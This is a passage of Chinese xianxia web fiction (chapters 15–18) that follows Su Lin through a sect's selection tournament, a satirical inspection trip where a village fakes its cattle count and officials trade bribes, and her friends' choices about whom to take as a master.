苏林他们这场打完没人再来清场,都转而去了其他擂台观赛。
苏林、苏佑和冷杉三人在灵霄山没有认识人,呆愣愣地站在原地,都没下去,站在台上看其他比赛更方便。
“铮”一声轻啸。
是有人又祭出了飞剑。
苏林寻声望去,正好看见两柄飞剑直冲向对方阵营。
她睁大眼,紧紧盯着飞剑敌方阵营的举动,但四个孩子只是简单地背靠背,结成了一个防守的阵型,企图用手中的武器把飞剑击飞。
苏林知道这完全不可能,修炼境界的提升,哪怕是一丁点的进步,对原层次都是碾压般的存在。
剑在被气催动飞起来的那一刻,就已经有了寻常武器难以抵挡的速度和力量。
果然,那两柄飞剑毫无闪避的意图,蛮横地直冲向防守的四个人,站在前面的孩子迎着飞剑举起开山斧,企图砍下那剑,不料飞剑突然加速,轻巧地从他的斧子下掠过,直逼执斧之人的喉咙。
“啊!”苏林叫了一声,想祭出小蓝火,替他们挡一挡,哪知那飞剑抵在执斧人喉咙上,没有刺进去,另一把剑也已悬在另一个人头顶,未再往下。
“这御剑之人法力已经如此精深了,能控制精准到这种程度了吗?”苏林惊叹,默默收回抬起的手臂。
要知道御剑容易,可随心所欲控制它才是难点。
“收手!胜负已分!”
场中传来一声断喝。
监考莫怀仁出手结束了这场比赛,两柄飞剑前显现出两方赤焰屏障,赤红的火焰突然爆炸,点燃了飞剑剑身。
这火焰似乎烧掉了飞剑身上的法力加成,两把剑没有了灵气,掉在了地上。
啊哟,这是动用了真火啊!
莫怀仁是生气了。
苏林习惯性地去看他,这是闫林秀从前最爱的小节目,莫怀仁生起气来,总是剑眉倒立,一手叉腰一手指人,姿势摆好,立马开骂,这时候他的耳朵尖就会有一个从白变粉、从粉变红的过程,十分有趣。
而且莫怀仁口才了得,骂起人来,被骂的人气急败坏、无力还口,观赏的人笑得前仰后合,比艺人说书还有意思。
可此时莫怀仁脸色如常,嘴巴也闭得紧紧的,让人闹不清刚才那句话是不是他喊出来的、刚才出手的是不是他。
这是跟苏林记忆中完全不一样的莫怀仁了,让苏林觉得陌生。
15. 第 15 章
灵霄山内选大会最后一天,上午每个擂台都只有一场比赛,很快就结束了。
胜出的五支队伍连同轮空的一支队伍参加下午的决赛。
广场上,擂台只剩下了三张,六支队伍决出前三名,便可以留在灵霄山,拜入灵山派。
苏林眼巴巴地望着冷杉出列去抓阄,还别说,以前没留意,今天仔细盯着看才发现冷杉似乎又长高了,身材匀称,动作轻捷,像只小豹子似的。
只见他几步走到八仙桌前,抬起右手伸进箱子,抓出一个纸团儿,展开一看,对桌后的人说了句什么,负责登记的师兄画了几笔,然后冷杉轻快地跑回来。
“抽的什么?”苏佑问。
“一号。”冷杉说。
这说了等于没说。
苏林问:“对手是谁?”
冷杉说:“还不知道,等下宣布,我旁边的那个,就是有飞剑的那个,是三号。”
苏林有点不爽,她本想着决赛如果能抽到跟那飞剑队干一架,她肯定用修为,毫无保留地用,管他被人发现不发现,反正就是要让他们也尝尝被碾压的感觉,让他们欺负人!
可惜没对上。
令苏林更加不爽的是,比赛安排出来,下午场的决赛,三支关系队竟然全部完美错开。
都说人无语到了极点,反而会笑。
苏林亲身验证了这句话的正确。
分明是盲盒抓阄啊,怎么就这么巧呢?
难不成真是天意和运气?
苏林也闹不清楚了。
他们四个上午赢得轻松,也没什么好准备的,早早登上擂台,等待对手。
一号擂台的监考又是莫怀仁。
苏林看着他有点犯愁,等会儿说不好要捻诀施法,闫林秀当年跟莫怀仁是一个小队的,法术修为从无到有,由浅入深,熟悉得不能再熟悉了,肯定会被他认出来。
苏林并不怕被人发现身负神奇的高深修为,但是不想被莫怀仁揪出来,那感觉不太美好。
还是看情况吧,如果能保存实力就保存实力。
再说了,她不是一个人在战斗,还有同伴呢!
此时“冷苏苏”小队里,除了一个隐藏的金丹高手,还有一个天资拔尖的新秀,更有望气天才和后台大佬。
好一支实力超群的队伍!
岂有不胜的道理?
就等对手上场,一决雌雄。
此时比赛时间已过了,对方还没有出现。
二号、三号擂台上,两场比赛已经开始了。
苏林他们面面相觑,不约而同朝台下看去,不一会,看到一个小童,从场外跑来,穿过人群,走到他们这里,在台下喊莫怀仁。
“莫师尊,‘永不言败’小队申请弃权,他们有个队员刚才昏迷了,请了医馆大夫去看,人救过来,可是没法比赛了,他们让我来传话,等下会写个书面的弃权书送来。”
哦豁,相似的一幕再次上演。
周围轰然一声炸开了,有人叫着,有人笑着。
苏林听过不清他们叫的什么,也不知道他们在笑什么,欢乐的气氛并没有感染她。
他们这支队伍没正紧比一场比赛,轻轻松松进入前三,拿下了留在灵霄山的名额。
苏林觉得有种荒诞的讽刺感。
真正的苏林甚至连练气都不会,连经脉都没完全冲开,她就是个凡人啊!
不知是不是错觉,她觉得莫怀仁朝他们看了一眼,眼风冷冷的。
莫怀仁作为监考,在比赛成绩单上签下名字,按了手印,边擦手上的印泥边准备离开。
王小虎正被恭贺的人群围在下擂台的台阶处,见状忙拨开人出来,对莫怀仁一揖,道:“莫师尊,这几日叨扰师尊,为表谢意家父在......”
“不必谢我。”莫怀仁打断道:“谢你大爷吧!”
虽说王首座的确是王小虎的大爷爷,但莫怀仁这话听着总觉得有点儿奇怪。
他说罢也不容王小虎再言,自去了。
周围人因王小虎跟莫怀仁说话,都静下来,默默退开,此时见莫怀仁走了,才又围上来。
一个跟王小虎有几分相似的少年,看着莫怀仁的背影,撇了撇嘴,问王小虎:“你干嘛呢?招惹他?”
王小虎朝莫怀仁走的方向,很不舍地望了望,把那少年推下擂台,两人亲亲热热去登记台登记名字。
王小虎走到擂台下,想起冷杉等人,转身朝他们招手:“去登记名字啊!”
冷杉、苏佑和苏林三个人便跟着去了。
他们路过其他擂台时,二号擂台恰好比赛结束,人群嗡嗡的,有人在那里议论:“筑基打练气,能有什么悬念?要是跟飞剑那队对上,才有些看头。那边还没结束吗?”
“一台有人弃权,结束了;三台还在打。”有人说。
“还在打?那台上不是能御剑的那组吗?谁能扛这么久?”
“嘿,别说,还真打得有来有往的。”
“不是有飞剑吗?”
“能硬打到这时候的,也不是等闲之辈啦!”
“张家小哥俩能胜吗?”
“不好说,飞剑已经被打歇菜一把了。”
“这么激烈!那我去看看。”
苏林闻言怔了一怔,脚下就想往三号擂台挤,但此时只剩这一场激烈赛事,人人都争相去看,根本没她什么事儿。只听得人群里头不时发出一阵阵惊呼,随之引发一波波人潮涌动。
苏林被挤得往后仰,退着退着,退到了自己这边擂台,干脆爬上台去观战。
擂台上已经站了许多人,连栏杆上都挂了不少人。
苏林一边跳着看,一边找可观战的缝隙。
这一看正好看见飞剑在上空盘旋,突然瞅准目标,飞速下落,发出一阵尖锐的啸声。
苏林一惊,有必要把剑拉这么高吗?这力量,谁挡得住?
眼见飞剑下落,苏林顾不得其他了,直接撑住前面两人的肩膀跳起,睁大眼睛看见那飞剑直咄咄射向一个黑胖的少年,那少年并未动,瞅准剑来,竟转身团成一个球。
苏林心道,这是什么功法?
瞬息间,剑锋已即,却看那少年拱桥似的背上突然显现出一片硕大的黑褐色大甲,噌朗一声刺耳的响声,那飞剑竟然从黑甲上滑开,余力让它一头扎进旁边的擂台栏杆上,把栏杆碎成粉末。
众人又是一阵惊呼。
“哈,是穿山甲!”人群中有人认出黑胖少年的真身。
“原来是穿山甲修成精,自带的本命盔甲,那练气期的飞剑是扎不透。”众人恍然大悟。
有了这层厚甲,让对方飞剑没法施展,于是战斗拖了下来,开始比拼近战实力,飞剑只能作为远程协助武器。
场上好看起来。
穿山甲所在小队防守、攻击很有章法,四个人配合默契,一步一步往前推荐,几乎是从容不迫了。
而飞剑小队因为前期飞剑的碾压式进攻,四个人的配合就差了许多,此时飞剑被废,顿时慌张起来,连连后退。
那御剑的张家兄弟,高个的手中挥舞,唤回剑来;矮些的那个手中握着残剑防御。
被他们看中的同伴也不是等闲之辈,一时被打乱阵脚后很快反应过来,跻身上前,护住张家两人。
眼看两队人马上要短兵
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相接,苏林手上一空,被人撂下了。
她的个头不高,落在人群中,怎么跳脚都看不见对面战况,只能听周围人的实况转播。
“张康张泰也是背时,怎么就遇到这么个带壳的。”有人开玩笑说。
苏林暗暗收集信息:原来这飞剑两兄弟是叫张康张泰。
“怪不着他俩,只能怪张首座消息没摸透,早知这样,让他们哥俩去什么定山派,直接去白马寺,跟这穿山甲作队友,早赢了。”
“人家也得避嫌不是,白马寺跟白马湖就一巴掌远。”
“你以为他不想啊,长门得让他们去啊!”
眼见有人越说越深,有人示意大家克制:“哎哎哎,都是各凭本事考进去的。”
众人警醒,这场上首座长老师尊坐了一大堆,有些话平时说得,此时却说不得,于是都闭嘴不谈,专心去看比赛。
苏林比赛没看着,默默听了一肚子八卦。
原来张康张泰是白马湖张首座的亲戚。张首座,是白马湖宗门排序第一的张长老吗?听着这张首座似乎跟长门王首座不大对付。
不知是不是当年闫林秀没关心这些,还是当年不够格被各家族拉拢,没听过这些呀!
看这些人说得有鼻子有眼,又十分稔熟,可见宗门间的矛盾已经相当大、公开化了。
如果真如众人所传,那长门是乐于见到张家兄弟淘汰的。
这场比赛,是张家哥俩倒霉,还是有人暗中操作,就不好说了。
苏林反正无所谓,只管看比赛就成。
张康的飞剑仍不时发起攻击,但在苏林看来,这飞剑的攻击力比上午差了一大截,是莫怀仁那一下子削弱的吗?
苏林这才想起,莫怀仁也是长门的,但他拒绝王小虎的示好很干脆,而王小虎的背后是王首座。
这其中有什么隐情吗?
苏林心中的八卦之火熊熊燃烧。
此时听得擂台那边传来一阵喝彩和惊呼。
离得远、没看见的人忙问:“怎么了、怎么了?”
有人传出话来:“有人掉下擂台了。”
有人接力传播:“张康张泰掉下擂台了。”
“张泰被打残了。”
“张康站不起来了。”
......
传到苏林这里的时候,已经是:“张泰被打死了,张康七孔流血。”
苏林人都懵了,一个内选名额而已,不至于这么狠吧!
最终,出乎意料的,“穿山甲”队竟然打败了“飞剑”小队,成为留下的三支队伍之一。
至此,内选大会圆满结束,胜出的十二个人全部收入灵霄山长门初云馆,待进一步考核,再选拜入不同宗门。
不知怎么,苏林听到这个消息,竟然有些开心,欢欣鼓舞地跟着人群欢呼了几声,去看那获胜的队伍。
此时人群已经散开了。
苏林能看清那边不少人正把穿山甲少年抛起来庆贺,旁边有个清瘦的同伴,一边裹着手上的伤,一边朝擂台下走,下面有个小童接应他,小童不知说了什么,那少年随着小童手指方向望去,苏林也随之望去,看见坐在高台上正跟人笑谈的王芸迩。
王芸迩跟那少年遥遥相望,笑了一笑。
那少年从小童手中接过什么东西,朝王芸迩也是一笑。
苏林脸上的笑容顿时散去,取而代之的是自嘲一笑。
她把视线从人群中转开,举目望去,灵霄山中各峰秀插云霄,云海日暮,壮丽秀美。
当年闫林秀也是从这里开始,当时的她看到山中景色震惊得合不拢嘴;此时重回这里,苏林觉得,不过如此。
16. 第 16 章
不管怎么样,苏林对灵霄山的生活还是有点儿期待的。
但是!
谁能告诉她,为什么在灵霄山修行的第一课是插秧?
别说她没来过灵霄山,闫林秀妥妥的是灵霄山前辈,她那时候可没这一出。
苏佑说:“嗨!修行为了苍生万民,首先就要体会万民之辛苦----师兄这么说的,我觉得这话说得对。”
苏林无语:“话虽这么说没错,可是这也太接地气了吧!我们是在修仙诶,修仙!”
旁边一个被晒得黑酱油似的师兄闻言笑道:“享众生供奉,就得为万民计。人家给我们吃的,我们必当回馈,平时没有斩妖除魔的事情,就帮忙插秧种地,也算不白吃嘛!反正一天天一身蛮力没处用,正好!也算修行了。”
苏林感叹这黑师兄心态真好,体力也好,他和苏佑忙了半天才插了一小段,他已经快飞到对面垄上去了。
苏佑见人走远了,悄悄凑近苏林说:“才不是那回事,我听说啊,是灵霄山人太多,山下的村庄供不起了,这才让外门弟子插秧,好歹多点儿口粮。”
“外门弟子?”苏林敏锐地抓住了重点,起身望了望,没看见王小虎和那个筑基、清瘦小子,直觉“外门弟子”不是什么好词儿。
苏佑的八卦能力一如既往地出色,才来几天,已经有了很多消息渠道,他给苏林解释:“灵霄山初云馆里的弟子,每年都有一次被宗门选择的机会,选上的就是宗门弟子。”
“我们呢?”苏林问,“下一次宗门选择是什么时候?”
苏佑说:“按照旧例,通过内选大会进入灵霄山的弟子,一个月后有次考核,有机会拜入宗门,没选中的就跟初云馆其他弟子一样,每年一次了。”
“没选中就是外门弟子?”苏林问。
苏佑解释:“差不多。如果一直到毕业都没被选中,可以选择继续留在初学馆学习,但伙食费、住宿费等需自理;也可以选择服从安排,被派去处理灵霄山日常事务,成为‘外门弟子’。”
苏林又问:“考核什么?”
苏佑说:“不清楚,好像是什么综合评价。”
苏林心里咯噔一下:以她对灵霄山尿性的了解,没有硬性标准的考核,就是八仙过海各显神通的神仙打架,好事几乎跟他们这样的无关。
她通扎着裤管,满手泥浆地怔了怔,问:“咱俩就这么‘外门’了?”
苏佑很无所谓地耸了耸肩。
苏林无语,只一味埋头插秧。
她插秧的距离把控得很好,秧苗的疏密程度比黑师兄插的要稀疏得多,但两株秧苗间的距离又不足以让人在中间补上一棵,觉得不满意,只能拔了重新栽。
苏佑有样学样。
于是,苏林、苏佑在插了三天秧后,被转岗,去巡守边镇。
这个转变让苏林始料不及,任务重要程度上升太快了。向来中枢派人去边界都是美差啊!
等苏林和苏佑赶到集合点,看见王小虎和冷杉,顿时明白了其中关节。
四个人再碰头,自有一番亲热。
王小虎展开卷轴说:“今日我们去巡视灵山镇下面的灵山村,挨得近,一天就能往返。”
“咱们怎么去?走路吗?”苏佑问。
王小虎说:“我们都不会御剑,才安排了这个近的地方,我把我家马车借出来了,坐马车,更快。”
三人都赞王小虎办事妥帖,上了马车,自有车夫驾车,他们四人在车上吃着喝着,看了一路的风景。
苏林苏佑对视一眼,会心一笑:这不比插秧舒服多了!
快到地点时,王小虎提醒大家:“今日巡视的重点是村里养牛的情况,顺便看看油菜。”
“养牛?”苏林心说又是插秧、又是养牛,这灵霄山未免也太接地气了。
“是的,因山中人口渐多,牛肉供应不足,所以年初下了令,让各村增加黄牛养殖数量,他们把增加的数目报来了。我们此行就是去核对,看是否属实。”王小虎一边解释,一边把灵山村的地图传给其他人看。
大家也都熟悉熟悉情况,免得等下闹出笑话。
等车到了村口,有人等在那儿,领着四人下车,步行去养牛场。
养牛场建在一个小小的山谷里,牛棚的立柱是新木材,还有股子清香味,的确是新建不久。
村长立在牛棚前,看着是个老汉,头发白完了,皮肤黑黝黝的,笑得满脸褶子,看到他们来,不断点头。
苏林先入为主,就觉得这老汉是个憨厚之人。
村长跟上前的王小虎拉了拉手,亲热地递给他一个小荷包,苏林、苏佑和冷杉也有。
苏林看着王小虎,苏佑看着苏林,冷杉本要推辞,见王小虎十分自然地收下,苏林、苏佑也收下了,便也疙疙瘩瘩地收下了,抬头朝那村长很认真地笑了一笑。
众人在牛棚前站定,默默地看了一会儿。
苏佑开口问:“村长,咱们村里有多少头牛啊?”
村长说:“理论上来说,有九十八头牛。”
“这么小一个村子,能养九十八头牛,真厉害。”苏林捧场地称赞。
村长呵呵一笑。
“牛都放出去吃草了吗?”冷杉忍不住问。
村长还是呵呵一笑,说:“啊,对,都出去吃草了。”
苏林觉得村长说话有意思,问:“理论上九十八头,那实际上呢?”
村长更是呵呵一笑,下巴朝牛棚一扬:“实际上,都在这儿。”
苏林、苏佑、冷杉和王小虎四个人大眼瞪小眼。
因为牛棚里一头也没有。
王小虎清了清嗓子,说:“村长,咱们今天就是特地来看牛的。”
村长继续憨憨一笑,说:“知道,知道,你们等一下。”
只见他从鞋垫子下面掏出一个符箓,刷刷抖开,从后腰带上抽出烟袋,狠狠抽了两口,等火星冒出来,把符箓点燃烧了,口中念念有词,口腔中的烟气给这一幕增添了几分仙气。
村长那边话音落,苏林就听到耳边传来村长干净利落的声音:“有人来看牛,速速把牛牵来。”
苏林不可置信地扭头看村长----说他不行吧,他用得起千里传音符;说他行吧,你见过考试递纸条连给考官一起递的吗?
但不得不承认,村长的号召力强悍。
千里传音符烧化没多久,就看见周边几户人家打开院门,把自家牛栏里的牛牵出来,路过牛棚这边几人时,还笑嘻嘻打个招呼:“来了啊!”然后把牛放进牛棚。
不多时,九十八头牛真还集齐了。
看得苏林、苏佑和冷杉目瞪口呆。
王小虎显然是老场面人了,笑呵呵对村长说:“属实,属实,九十八头。好了,牵回去吧,别耽误牛吃草。”
村长乐呵呵地说:“别急啊,刚收到镇上的传音,说检查队到镇上去了,让咱们把牛全赶过去。”
去镇里的路上,王小虎邀请村长同乘马车。
苏林实在没憋住,问村长:“这要是被发现怎么办啊?”
村长毫不在意地说:“嗨!都这么干,上下都知道。咱们村巴掌大一块儿,能养恁多牛?要真弄九十八头牛来,别说草啊苗啊,连村口的老槐树都给啃光了。”
苏林说:“那少报点儿嘛。”
村长
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笑呵呵说:“报数咱能报输了?都比着看呢!再说了,不让少报。”
苏林无语,只得转移话题,看到窗外金灿灿的油菜花,说道:“村长,你们村油菜种的挺多啊。”
村长又呵呵一笑,说:“不多,不多。”
苏林说:“村长太谦虚了,放眼望去都是金灿灿的,还不多啊!”
村长说:“嗨,就种了路两边。”
苏林微微欠身,往远一望,果然从油菜花缝隙里,不时露出远处光秃秃的荒地。
她坐回去,呵呵干笑两声,心道:“你一个村长,对考官这么实诚,合适么?”
苏林彻底无语,低头去抓瓜子,加入苏佑和冷杉只吃不言语的行列。
王小虎忙接过话去,跟村长热络地交流起来。
等灵山村的牛群迁徙到镇上的大牛棚,几路巡察人员也汇聚在了灵山镇,合吃了一顿饭,其乐融融的。
这几路巡察队总领队是长门的一个大弟子,周全。
苏林瞧着是个年岁不大,但办事老到的人,酒量也好,就被大半桌的人各敬了一杯,脸不红气不喘的,眼睛还越喝越亮,酒过一巡,周全起身,去茅房。
酒桌上多是熟人,苏林、苏佑和冷杉是生面孔,不少人来给他们敬酒,问姓名。
他们只是干巴巴地自报姓名,没有下文,因为没啥可报的,敬酒的人也就没话多说。
就这一波也让他们着实应酬了好一会儿。
酒过三巡,突然有人问:“周仙人还没回来吗?”
众人这才发觉周全已经去了好一会儿了。
镇上的驿丞突然拍了下大腿,说:“茅房的锁头坏了几日了,周仙人莫不是被锁在里面了吧!”
众人一听,这还了得,急忙派人去茅房找人。
还真被驿丞说对了,周全真被锁在里面了,拍了半天门,没人发现。
驿丞说:“我问去看开锁的姜老头。”
“还开什么锁!把门卸了!”还是镇长气魄大。
众人齐心协力,把茅房门拆了下来,解救出被困多时的周全。
镇长连连道歉。
周全竟毫不慌张,也毫不介意。
周全被众人簇拥着,刚走两步又站住了。
镇长忙问“周仙人怎么了?是哪里不舒服吗?”
周全笑笑说:“那个,我还想再去下茅房,方才喝得有点儿多了。只是......”
镇长发话:“来人,把门合上,虚掩上,虚掩上。”
于是众人又一起把门虚虚的盖上,等周全上完茅房,众人再一起返回宴席。
周全依旧从容,好像没发生这一切一般,跟众人携手返回酒桌,继续尽兴。
苏林看他年轻,却有这份沉稳,是个人才,便默默记下“周全”这个名字。
酒席吃到尾声,席间每人人又收到一个荷包,碍于人多,苏林没有打开。
等晚间回去的时候,苏林打开两个荷包一看:乖乖,竟然是两颗绿油油的筑基丹!
她终于悟了:难怪村长尽说实话,难怪王小虎出手就是筑基丹,难怪人人都想出外差----插秧除外。
但她又冒出一个问题:为啥就莫怀仁送的是“狗蛋”?
单纯看她不顺眼,还是单纯恶心她?
此时,她心里那个活泼的小人儿又跳出来了,指着她的鼻子问:“你都大庭广众之下把人家给“啵”了,还想让人家送你筑基丹?心里没点bee数吗?知足吧,‘狗蛋’已经很不错了!”
苏林讪讪地说:“别用‘啵’这个字啊,知道的是拿鹌鹑蛋打了人家一下,不知道的,多暧昧啊~~~”
17. 第 17 章
因为王小虎的关照,这大半个月来,苏林、苏佑和冷杉三个人在初云馆过得相当愉快,连筑基丹都攒了五六颗,苏林就从没这么富过。
这日他们从边镇回来,夜里,王小虎又请客,邀了玩得好的朋友在自家吃饭,苏林、苏佑和冷杉自然也去了。
都是年轻人,无拘束,酒喝过一圈,渐渐就谈深了。
有人问王小虎:“马上就要考核了,小虎,你去哪儿啊?”
苏林夹菜的筷子顿了一下,近来涉及到王小虎的考核只有内选弟子的考核,也涉及到她,对此格外敏感。
而且她注意到,这人问的是“去哪儿”,而不是“打算去哪儿”“想去哪儿”。
王小虎嘿嘿一笑,拿眼风暗暗一扫,见周围都是知根知底的熟人,也没藏着掖着,说:“飞瀑峰的陆师尊门下。”
桌上人一半调侃一半恭贺地“哦哟哟”唤起来。
“陆师尊啊!你小子行啊!”
“咱们怎么啥风都没听到,你嘴可够严的!”
“陆师尊那里难进得很,小虎厉害!”
他脸上略有得色,一边谦虚一边笑,等大家闹得差不多了,问:“你们呢?去哪儿啊?”
跟他隔着两个位置的人说:“我想留在长门,但我爹非让我去灵药谷,说是哪里冷门,好修行。”这人苏林有些印象,是“筑基”那队的。
他旁边的人说:“我跟你一样,也是飞瀑峰,但不是陆师尊。”这位就是跟王芸迩打招呼的清瘦少年。
这一下,苏林、苏佑和冷杉三个人傻眼了。
他们三个跟着王小虎傻乐了这么半个月,以为大家都一样,等着一个月之后的考核,没想到人家暗地里没闲着,早已经把路都铺好,只等走个过场,就他们三个傻傻地在这儿蹉跎时间。
他们有什么门路?
什么门路也没有。
甚至连找门路这个念头都没生。
要是有人问起来,该怎么说呢?
他们这些日子一起吃,一起玩,一起去巡边,已经很熟悉了,挺玩得来的,平时瞧着一样,此时说出不同来,徒增尴尬。
幸好,没有人问他们仨。
有人站起来,举杯说:“哎哎哎,静一静啊!听我说一句,众所周知,我们灵山派法力最高的师尊,除了陆师尊,就只有莫师尊了,但莫师尊向来不收徒。小虎哥能拜到陆师尊门下,可算头一份了,将来还有赖小虎哥关照关照呢。咱们得敬您一杯。来!小虎哥,冷哥,林姐,还有苏佑哥,祝你们修行大成。”
苏林有点儿汗颜,拜在陆绍门下的是王小虎,关她什么事。
王小虎笑嘻嘻举杯,一把把冷杉拉了起来,并没有当场反驳。
苏林、苏佑也便跟着站了起来。
苏林心中感叹:虎哥不愧是我虎哥,场面上不让人下不来,就是懂味!
这一夜,喝得很尽兴。
众人散去,只剩下王小虎,和在王小虎家有床铺的苏林、苏佑和冷杉四个人。
宴会散的时候,王小虎软得站不住,吐得稀里哗啦,这会儿瞧着还好,只是脸红得跟猴子屁股似的。
他让人泡了一杯茶,边喝边歇,问这边三个:“你们有想去的地方吗?找好门路了吗?”
这边三个没人言声。
王小虎说:“咱们一路从茅湾过来,我还真有点儿舍不得了。不如我们都去陆师尊那儿吧!陆师尊也是愿意的。你们觉得怎么样?”
苏佑挨他最近,王小虎一掌拍下,抓着他的肱二头肌揉搓。
苏佑一边闪一边左右看,说:“我都行吧。”
王小虎笑了笑,问苏佑旁边的苏林:“林姐,你呢?怎么样?”
苏林在纠结,投身到前男友门下,关键是前男友还已婚已育,十分尴尬。
王小虎看苏林不语,意味不明地笑了笑,因他并不十分看好苏林,而且苏林在队伍里被苏佑和冷杉称作“老大”,让他有点儿不好调摆,也就没劝。
王小虎越过苏林,亲昵地碰了碰另一边的冷杉,用一种心照不宣地眼神微微一笑。
冷杉说:“我就不去了。”
众人都没料到他会拒绝,尤其是王小虎,愣了一下之后,转身看向冷杉,以为自己听错了。
冷杉说:“我不去。”
王小虎听清后,脸上的笑容渐渐收起来。
苏林从侧面看清王小虎的面皮一沉,这边的嘴角不自觉地抽动了一下,咬肌鼓凸出来动了动----这是在咬牙了,他胸口的起伏也明显起来。
王小虎在愤怒。
愤怒什么呢?
愤怒这种情绪一般伴随着无法掌控的无力感。
王小虎想掌控什么?或者说,他以为自己掌控着什么?
苏林突然回过味来,不管是王小虎还是他的朋友,不问他们去向、给他们敬酒祝贺,是都已经把冷杉、苏佑还有她看作了王小虎的依附者,王小虎去哪儿他们必然去哪儿。
依附者必然听从主子安排,哪会有其他选择?
王小虎把冷杉的拒绝视作了背叛,才会愤怒。
苏林想到这点,本喝得晕沉沉的脑袋骤然冷静下来,迅速看向冷杉。
冷杉面色平静,酒意染红了他的眼角,像席间客串一把的戏子,他没有看王小虎,目光虚落在眼前的杯盏上,平静地说:“我表舅病了,我要回茅湾。”
王小虎看了冷杉一会儿,已知再劝不回他,收敛情绪,拍了拍他的肩膀,起身,离开。
苏林看着冷杉,重新仔细地打量这位少年,他微微低垂着头,浓眉高准,骨相清秀,他的睫毛颇长,投下的阴影让眼睛看着更加深邃,很英俊坚毅的长相,但难掩稚气。
苏林问他:“你怎么不去呢?王小虎对你那么好。”
冷杉说:“他给的太多了,我还不了。”
是啊,人家给的太多,还不起的时候,只好拿人还、拿命还。你以为重情重义、肝胆相照,其实人家不过是出钱买命罢了。
苏林没有想到,这么年轻稚嫩的少年竟然知道这个道理,而且能抵挡住诱惑,勇敢止步。
这个十六岁的少年,简直清醒得可怕。
曲终人散后,宴席上,静静的。
三个人静静地坐着。
冷杉不急不慢地站起身,给苏林和苏佑一人倒了一杯酒。
三个人各自喝了。
冷杉又倒。
不知喝了几轮闷酒。
苏佑问:“那我们去哪儿?”
苏林说:“去哪儿不是活,初云馆又不是不能呆。多大点儿事儿!”
冷杉说:“我想去十里坡。”
苏
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林苏佑对视一眼,问:“十里坡?是什么地方?”
冷杉说:“莫师尊住在十里坡。”
“莫怀仁?”苏林问,“你想拜在他门下?”
冷杉点头,说:“我已经了解过了,灵山派人才济济,大多师尊早已不直接收徒,说是拜入师尊门下,其实是师尊的弟子、甚至是弟子的弟子收徒。就连陆师尊门下也是如此。但莫师尊至今没有一个弟子,若进去,我们就是师尊亲传弟子,还是修为最高的师尊的亲传弟子,能得他亲自指点。”
苏林看了眼苏佑,那意思是问:是这样吗?
苏佑耸了耸肩,摇了摇头。
苏林无语,瞪了他一眼:成天尽打听些有的没的,正经事一问三不知。
苏佑心说我哪知道要打听这个。
苏林想了想,说:“他一直没收徒,很可能就是不想收徒,拜在他门下,恐怕有点儿难度。”
冷杉抬头一笑,说:“我自有办法。你们去吗?一起?”
这一问,把苏林问住了。
怎么又从陆绍变成莫怀仁了呢?
为啥偏偏是他俩啊!
灵霄山就没有其他人了吗?
苏林是无所谓,但闫林秀有所谓啊,闫林秀堂堂一位师尊,拜修为不如她、还是当年老对头的人为师,以后说开了,她面子往哪儿放?
冷杉觑着苏林,一边给她把空酒杯倒满,一边迟疑着说:“不过,据我所知,莫师尊向来严格,苏佑天赋稀有,我俩应该没什么问题,只是,老大,你......不知莫师尊看得上看不上,到时候说说情,说我们是一队的,不分开......说不好也能进去的。”
苏林心里疙疙瘩瘩不太情愿,听了这话酒气上涌,顿时炸毛了:“他?就他?!他还敢看不起我?”
我现在是金丹后期修为好不好!别说莫怀仁了,就是莫怀仁加陆绍两个一起上,本尊一巴掌上去,能拍飞俩。我可是有小蓝火的人!分分钟把陆绍弹飞!
她摊开手掌,心中凝神聚气,嘿!
小蓝火没出现。
她心脏有点儿慌,应该是酒闹的,不死心,深呼吸平复了一下,又试了一次,嘿!
小蓝火还是没出现。
苏林彻底暴躁了:妈-蛋,本尊可是有小火苗的人,本来还不稀罕去,现在我还犟上了,去!就去!一定要去!最好祭出小蓝火一把火烧了那十里坡!
苏林试了半天,手上都干干净净的,干脆反手一掌拍在桌上,说:“我去!我非去不可!”
冷杉忙又倒了三杯酒,递给苏林一杯,说:“一言为定,咱发个誓,出尔反尔是小狗!”
他冲苏林抬下巴挑衅:“发吗?”
苏林接过酒,说:“发就发,咱们一言为定,出尔反尔是小狗!”
苏佑在一边看得一愣一愣的,手里被冷杉塞了杯冷酒,说:“我没反对啊!发什么发......”话没说完,被冷杉一掌把酒杯哐进嘴里,灌了满口冷酒,咳了好一阵。
苏佑边咳边指着冷杉要说话,被冷杉连推带搡抱在一起。
苏林迷迷糊糊之间,觉得好像忘记了什么重要的事情,怎么也想不起来,脑子就跟锈住的齿轮一样,根本转不动。她挣扎了两回,稍稍回归的思维都被拍死在半途,也就懒得挣扎了。
嗨!管他呢!
18. 第 18 章
“这就是你说的办法?”苏林站在十里坡门口的樱花树下,抓着冷杉咆哮。
冷杉规规矩矩地跪在地上,说:“金诚所至,金石为开,我们用诚意一定能打动师尊。不然你还有其他办法吗?”
苏林不知道冷杉怎么想的,反问:“你凭什么觉得这样做,就能让莫怀仁收下你?他可是这么多年一个弟子都没收!我敢说,这条路上跪过的,你不是第一个,也不会是最后一个......”
苏佑拦在两人中间,一个劲儿地说:“有话好好说,好好说......”
冷杉说:“我一定能成。而且我觉得莫师尊表面上脾气不好,其实内心......”
“内心脾气更不好!”苏林都被冷杉气笑了,心说你能有我了解他?
她深吸两口气,让自己冷静了一下,继续解释道:“你们家莫师尊最不爱拖拖拉拉的苦肉计,不是“不爱”,而是反感,他烦这个!对付他,激将法比你这个管用。而且,这里离他有那......么远,他修的是阵法,又不是千里眼,他能看到?”
冷杉目光稍犹疑,但马上恢复常态,面朝莫怀仁所在方向,坚毅的神色表明了态度。
苏林感觉自己要爆炸,这是什么鬼主意,要她跪姓莫那小子?有没有搞错?!
她宁愿投奔王小虎,也决不朝莫怀仁低头!
苏佑拉开苏林问:“老大,怎么办?跪吗?”
“要跪你跪,我才不跪。”苏林说。
“那......走?”苏佑溜了眼冷杉。
冷杉冷笑说:“你们可是发过誓的,小狗!”
苏林扶额,险些要背过气去。
想不到啊,她纵横灵山几十年,竟然阴沟里翻船,着了一个小毛孩儿的道。
苏佑见两头都不好劝,好半天才挪到苏林身后,讷讷地问:“老大,你真的要走吗?”
苏林气急道:“走,不走遭雷劈。”
谁知她话音刚落,周遭突然有亮光一闪,跟闪电一样,就发生在他们跟前,离得太近,险些闪瞎她的眼。
苏佑吓得直接挂在了苏林身上。
苏林也吓了一跳,心道:“不是吧,这地界儿这么魔性?随口一句话都能祭出天雷来?”
